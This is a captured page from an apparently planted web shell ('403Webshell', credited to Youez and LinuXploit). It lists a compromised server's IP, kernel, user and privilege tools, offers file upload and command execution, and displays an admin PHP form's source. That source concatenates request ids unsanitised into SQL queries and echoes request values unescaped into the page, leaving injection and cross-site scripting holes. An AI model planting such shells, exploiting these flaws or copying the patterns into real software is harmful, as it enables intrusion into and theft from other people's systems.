403Webshell
Server IP : 104.21.21.239  /  Your IP : 216.73.216.55
Web Server : Apache/2.4.68 (Amazon Linux) OpenSSL/3.5.5
System : Linux ip-172-31-69-123.ec2.internal 6.1.176-223.369.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Jul 24 13:34:27 UTC 2026 x86_64
User : ec2-user ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/tgnewdev/admin/mod/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/tgnewdev/admin/mod/location_form.php
<?php require('_mod_security.php'); ?>
<?php
	form_prep('locations', 'basic_info', 'frm_location');
	if (($_POST['form_submitted'] ?? '') === '1') :
		$_POST['html'] = purify_html($_POST['html']);
		if (empty($_POST['slug']) && !empty($_POST['name'])) :
			$_POST['slug'] = generate_unique_slug($_POST['name'], 'locations', 'slug');
		endif;
		form_prep_submit();
		form_validate_all();
		if (!$err_flag) :
			try {
				$db->beginTransaction();
				$set = sql_set_update() . form_generate_set();
				if ($action == 'Edit') :
					$sql = "UPDATE locations set " . $set .
						"WHERE id = " . nz(trim($_REQUEST['id']), '0') . " ";
					save_db_revision('locations', $sql);
					post_set_update();
				else :
					if ($action == 'Add New') :
						$sql = "INSERT INTO locations SET " .
							sql_set_create() .
							$set;
						$db->query($sql);
						$_REQUEST['id'] = last_id();
						$_POST['id'] = $_REQUEST['id'];
						post_set_create_update();
					endif;
				endif;
				$db->commit();
			} catch(Exception $e) {
				db_err_rollback($e);
			}
			form_success();
		else :
			$active_tab = $err_tab;
			$form_message = "Errors found!";
		endif;
	else :
		if ($action == 'Edit') :
			$sql = "SELECT * FROM locations WHERE id = " . nz(trim($_REQUEST['id']), '0') . " ";
			if (!get_row_to_post($sql)) :
				echo form_fatal_error('Invalid Operation!');
				return;
			endif;
		else :
			$_POST['status'] = 1;
			$_POST['state'] = 'NY';
			$_POST['city'] = 'New York';
		endif;
	endif;

?>

<script>
	var active_page = '<?php echo $_REQUEST['IX']; ?>';
	var active_tab = '';

	update_header = function() {
		if ($("#name").val() > "") {
			$("#header_repeater").text(" - " + $("#name").val());
		}
	}

	function check_if_saved(e) {
		if (sheet_dirty) {
			e.preventDefault();
			alert('Please save your changes before previewing.');
		}
	}

	$(document).ready(function() {
		switch_tab('<?php echo $active_tab; ?>');
		update_header();
		init_html_editor('html');
		set_dirty_event();
	})
</script>

<h1>Location - <?php echo $action; ?><span id="header_repeater"></span></h1>
<?php echo form_message($form_message); ?>

<form name="frm_location" id="frm_location" method="post" action="">
	<input name="form_submitted" type="hidden" value="1" />
	<input name="id" type="hidden" value="<?php echo $_REQUEST['id']; ?>" />
	<input name="active_tab" id="active_tab" type="hidden" value="basic_info" />
	<?php
		form_button_strip('top');
		form_tab_strip_start();
		form_tab_header('basic_info', 'Basic Info', 'admin,dataentry');
		form_tab_header('media', 'Media Library', '');
		if (!empty($_REQUEST['id'])) :
			form_tab_header('events', 'Events', 'admin,dataentry');
			form_tab_header('revisions', 'Revisions', 'admin,dataentry');
		endif;
		form_tab_strip_end();
		//******************************************************************************************
		form_tab_start('basic_info', 'Location - Basic Info');

		form_column_start();
		form_field('id', 'text', 10, 0, false, false, true, '', '', 'id', 'Location ID');
		form_field('name', 'text', 100, 0, true, false, false, '', '', 'name', 'Name', [], '', 'update_header();');
		form_field('slug', 'text', 75, 0, true, false, false, '', '', 'slug', 'Slug');
		form_field('address', 'text', 75, 0, true, false, false, '', '', 'address', 'Address');
		form_field('city', 'text', 50, 0, true, false, false, '', '', 'city', 'City');
		$sql = "SELECT state, CONCAT((CASE country_sort_code WHEN 1 THEN '' WHEN 2 THEN 'Canada - ' END), state_name) AS country_state FROM states WHERE country_sort_code IN (1,2) ORDER BY country_sort_code, state_name ";
		$result = $db->query($sql) or die('Database Error!');
		$ar_states = $result->fetchAll(PDO::FETCH_KEY_PAIR);
		form_field('state', 'select', 50, 0, true, false, false, '', '', 'state', 'State', $ar_states);
		form_field('zip', 'text', 15, 0, true, false, false, '', '', 'zip', 'Zip Code');
		form_field('phone', 'text', 50, 0, false, false, false, '', '', 'phone', 'Phone');
		form_field(['fname'=>'url', 'ftype'=>'textarea', 'fsize'=>250, 'frows'=>2, 'maxlength'=>'250', 'frequired'=>false, 'readonly'=>false, 'fdbname'=>'url', 'flabel'=>'URL']);
		form_field(['fname'=>'google_map', 'ftype'=>'textarea', 'fsize'=>250, 'frows'=>2, 'maxlength'=>'250', 'frequired'=>false, 'readonly'=>false, 'fdbname'=>'google_map', 'flabel'=>'Google Map URL']);
		form_field('status', 'radiogroup', 50, 0, true, false, false, '', '', 'status', 'Status', APP_LOCATION_STATUSES);
		form_field(['fname'=>'featured_image', 'ftype'=>'text', 'fsize'=>250, 'frequired'=>false, 'fdbname'=>'featured_image', 'flabel'=>'Featured Image - <a href="javascript:switch_tab(\'media\')">Pick from media...</a> - <a href="index.php?IX=media_form&cat=content&type=img">Add new...</a>']);
		if (!empty($_POST['featured_image'])) :
			echo '<img src="' . APP_BASE_USER_SITE_SECURE . image_cache('img/content/' . $_POST['featured_image'], 85, 200, 200) . '" />';
		endif;
		form_field('latitude', 'text', 100, 0, false, false, false, '', '', 'latitude', 'Latitude');
		form_field('longitude', 'text', 100, 0, false, false, false, '', '', 'longitude', 'Longitude');
		form_field('comments', 'textarea', 70, 9, false, false, false, '', '', 'comments', 'Comments');
		form_column_end();

		form_column_start('max-width:750px;');
		form_field(['fname'=>'shortcode', 'ftype'=>'select', 'fsize'=>25, 'frequired'=>false, 'fdbname'=>'', 'flabel'=>'Shortcode - select to insert into HTML below', 'ar_group'=>APP_SHORTCODES, 'onchange'=>'insert_text_into_html(\'[\' + $(this).val() + \']\'); $(this).val(\'\'); return false;']);
		form_field(['fname'=>'html', 'ftype'=>'textarea', 'fsize'=>70, 'frows'=>8, 'fdbname'=>'html', 'flabel'=>'Text']);
		echo '<p><a target="_blank" href="../locations/'.$_POST['slug'].'/?preview=true" onclick="check_if_saved(event);">Preview Location...</a></p>';
		form_column_end();
		form_tab_end();
		//*****************************************************************
		form_tab_start('media', 'Media Library');
		echo '<div id="ajax_update_media" style="width:1px; height:1px; display:none;">';
		echo '</div>';

		$ix_form = 'media_form&type=img&cat=content';
		db_navigator_bar(['table_id'=>'db_grid_media', 'form'=>$ix_form, 'print_section'=>'db_grid_media', 'call'=>'media_ajax', 'sort_col'=>'1', 'sort_order'=>'1', 'subtab'=>'true', 'parm1'=>" AND (media_cat = 'content') ", 'parm2'=>'insert_js,insert_featured', 'func'=>'grid' ]);
		form_tab_end();
		//*****************************************************************
		form_tab_start('events', 'Location - Events');
		$ix_form = 'event_form&location_id='.nz($_REQUEST['id'], '0');
		db_navigator_bar(['table_id' => 'db_grid_events', 'form' => $ix_form, 'print_section' => 'db_grid_events', 'call' => 'events_ajax', 'sort_col' => '3', 'sort_order' => '1', 'subtab' => 'true', 'parm1' => " AND e.location_id = " . nz($_REQUEST['id'], '0') . " ", 'func' => 'grid', 'filter_cols'=>'0,0,1,0,0,0,1,0,0']);
		form_tab_end();
		//*****************************************************************
		form_tab_revisions('locations', $_REQUEST['id']);
		form_button_strip('bottom');
	?>
</form>

<?php require_once('_html_editor.php'); ?>

Youez - 2016 - github.com/yon3zu
LinuXploit